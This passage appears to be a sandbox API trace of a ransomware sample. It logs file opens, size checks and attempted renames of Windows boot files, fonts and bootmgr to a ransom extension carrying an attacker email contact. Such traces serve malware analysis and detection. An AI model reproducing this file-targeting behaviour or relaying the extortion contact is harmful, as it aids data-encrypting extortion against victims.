(lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0062.994] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2daf9f8 | out: lpFileSize=0x2daf9f8*=85056) returned 1 [0062.995] CloseHandle (hObject=0x1a0) returned 1 [0062.995] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui")) returned 0x20 [0062.995] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui")) returned 0x20 [0062.995] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0062.995] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0062.996] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0062.996] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2daf9f8 | out: lpFileSize=0x2daf9f8*=43600) returned 1 [0063.226] CloseHandle (hObject=0x1a0) returned 1 [0063.226] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui")) returned 0x20 [0063.227] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui")) returned 0x20 [0063.227] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\boot\\en-us\\memtest.exe.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0063.227] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.228] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0063.228] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2daf9f8 | out: lpFileSize=0x2daf9f8*=90192) returned 1 [0063.228] CloseHandle (hObject=0x1a0) returned 1 [0063.229] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui")) returned 0x20 [0063.229] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui")) returned 0x20 [0063.229] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0063.229] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.230] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0063.230] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2daf9f8 | out: lpFileSize=0x2daf9f8*=89152) returned 1 [0063.230] CloseHandle (hObject=0x1a0) returned 1 [0063.230] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui")) returned 0x20 [0063.231] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui")) returned 0x20 [0063.231] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0063.231] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.232] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0063.232] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2daf9f8 | out: lpFileSize=0x2daf9f8*=3694080) returned 1 [0063.232] CloseHandle (hObject=0x1a0) returned 1 [0063.232] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf")) returned 0x20 [0063.233] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0 [0063.233] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf")) returned 0 [0063.234] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0063.337] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2daf9f8 | out: lpFileSize=0x2daf9f8*=3876772) returned 1 [0063.338] CloseHandle (hObject=0x1a0) returned 1 [0063.338] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf")) returned 0x20 [0063.338] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0 [0063.338] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf")) returned 0 [0063.339] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0063.339] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2daf9f8 | out: lpFileSize=0x2daf9f8*=1984228) returned 1 [0063.339] CloseHandle (hObject=0x1a0) returned 1 [0063.340] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf")) returned 0x20 [0063.340] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0 [0063.340] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf")) returned 0 [0063.341] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0063.341] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2daf9f8 | out: lpFileSize=0x2daf9f8*=2371360) returned 1 [0063.341] CloseHandle (hObject=0x1a0) returned 1 [0063.341] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf")) returned 0x20 [0063.342] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0 [0063.342] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf")) returned 0 [0063.343] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0063.343] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2daf9f8 | out: lpFileSize=0x2daf9f8*=47452) returned 1 [0063.343] CloseHandle (hObject=0x1a0) returned 1 [0063.343] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf")) returned 0x20 [0063.344] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf")) returned 0x20 [0063.344] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0063.344] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.345] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0063.345] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2daf9f8 | out: lpFileSize=0x2daf9f8*=93248) returned 1 [0063.345] CloseHandle (hObject=0x1a0) returned 1 [0063.345] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui")) returned 0x20 [0063.345] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui")) returned 0x20 [0063.346] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0063.346] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.346] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0063.347] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2daf9f8 | out: lpFileSize=0x2daf9f8*=90688) returned 1 [0063.347] CloseHandle (hObject=0x1a0) returned 1 [0063.347] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui")) returned 0x20 [0063.347] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui")) returned 0x20 [0063.348] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0063.348] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.348] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0063.349] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2daf9f8 | out: lpFileSize=0x2daf9f8*=90704) returned 1 [0063.349] CloseHandle (hObject=0x1a0) returned 1 [0063.349] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui")) returned 0x20 [0063.349] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui")) returned 0x20 [0063.349] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0063.349] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.350] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0063.350] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2daf9f8 | out: lpFileSize=0x2daf9f8*=76352) returned 1 [0063.350] CloseHandle (hObject=0x1a0) returned 1 [0063.351] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui")) returned 0x20 [0063.351] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui")) returned 0x20 [0063.351] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0063.351] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.352] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0063.352] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2daf9f8 | out: lpFileSize=0x2daf9f8*=75344) returned 1 [0063.352] CloseHandle (hObject=0x1a0) returned 1 [0063.352] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui")) returned 0x20 [0063.352] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui")) returned 0x20 [0063.353] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0063.353] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.353] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0063.473] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x2daf9f8 | out: lpFileSize=0x2daf9f8*=485760) returned 1 [0063.473] CloseHandle (hObject=0x1a4) returned 1 [0063.473] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe")) returned 0x20 [0063.473] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe")) returned 0x20 [0063.474] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\boot\\memtest.exe.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0063.474] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.474] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0063.608] ResetEvent (hEvent=0x150) returned 1 [0063.608] SetEvent (hEvent=0x154) returned 1 [0063.609] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0063.609] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2daf9f8 | out: lpFileSize=0x2daf9f8*=87104) returned 1 [0063.609] CloseHandle (hObject=0x190) returned 1 [0063.610] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui")) returned 0x20 [0063.610] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui")) returned 0x20 [0063.610] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0063.610] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.610] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0063.616] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0063.619] ResetEvent (hEvent=0x150) returned 1 [0063.619] SetEvent (hEvent=0x154) returned 1 [0063.620] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0063.620] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2daf9f8 | out: lpFileSize=0x2daf9f8*=70224) returned 1 [0063.620] CloseHandle (hObject=0x190) returned 1 [0063.620] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui")) returned 0x20 [0063.621] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui")) returned 0x20 [0063.621] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0063.621] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.621] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0063.627] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0063.630] ResetEvent (hEvent=0x150) returned 1 [0063.630] SetEvent (hEvent=0x154) returned 1 [0063.631] CreateFileW (lpFileName="\\\\?\\C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0063.631] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x2daf9f8 | out: lpFileSize=0x2daf9f8*=383786) returned 1 [0063.631] CloseHandle (hObject=0x164) returned 1 [0063.631] GetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr" (normalized: "c:\\bootmgr")) returned 0x27 [0063.632] SetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr", dwFileAttributes=0x26) returned 0 [0063.632] GetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr" (normalized: "c:\\bootmgr")) returned 0x27 [0063.632] GetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\bootmgr.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0063.632] CreateFileW (lpFileName="\\\\?\\C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.632] SetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr", dwFileAttributes=0x27) returned 0 [0063.633] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0063.637] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0063.654] ResetEvent (hEvent=0x150) returned 1 [0063.654] SetEvent (hEvent=0x154) returned 1 [0063.655] CreateFileW (lpFileName="\\\\?\\C:\\hiberfil.sys" (normalized: "c:\\hiberfil.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 